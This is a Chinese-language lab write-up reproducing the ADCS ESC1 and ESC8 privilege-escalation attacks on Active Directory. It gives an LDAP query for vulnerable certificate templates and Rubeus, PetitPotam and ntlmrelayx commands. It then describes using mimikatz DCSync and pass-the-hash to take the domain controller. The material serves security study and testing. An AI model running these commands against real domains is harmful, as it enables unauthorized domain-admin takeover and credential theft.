对原理感兴趣的可以去
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
看原文,这里只记录复现过程
ADCS漏洞--ESC1
在ADCS中,错误配置会导致普通域用户到域管理员的提权。主要体现在证书模板这里,在证书模板中,我们可以设置应用程序的策略。
我们比较关心的如下:
Client Authentication (OID 1.3.6.1.5.5.7.3.2)
PKINIT Client Authentication (1.3.6.1.5.2.3.4)
Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)
Any Purpose (OID 2.5.29.37.0)
这些可以使得我们拥有请求票据的功能,然后就是SAN的模拟,SAN允许我们使用UPN来指定用户,来达到用户模拟的目的。
其LDAP查询语句如下:
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextend edkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4) (pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
使用其发布的测试工具,PSPKIAudit测试显示存在ESC1漏洞。
攻击步骤
首先申请一张证书,并将upn名称改成域管
然后导出证书
用密码导出
然后使用rubeus攻击。
Rubeus.exe asktgt /user:administrator /certificate:3.pfx /password:123456 /ptt
/user:模拟的账户
/certificate:申请的证书
/password:证书密码
成功获取域控权限
ADCS漏洞--ESC8
也就是你们说的adcs relay。
ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持ntlm认证,再具体的自己看白皮书。
默认即存在
下面开始攻击复现,首先我们需要搭建一个辅助域控
勾选域服务
安装即可,同理设置为域控
选择添加到现有域
选择从主域复制
重启后测试
下面即可开始攻击。
python3 Petitpotam.py -u '' -d '' -p '' "ntlmrelay address" "DC02 address"
ntlmrelayx.py -t http://adcs/certsrv/certfnsh.asp -smb2support --adcs --template 'DCTest'
获取到证书
然后使用证书请求DC02$的票据
获取票据成功
mimikatz进行dcsync
然后进行pth攻击,获取主域控权限
出现错误的话可以参考:
https://github.com/SecureAuthCorp/impacket/pull/1101
( 来源:鸿鹄实验室)
发表评论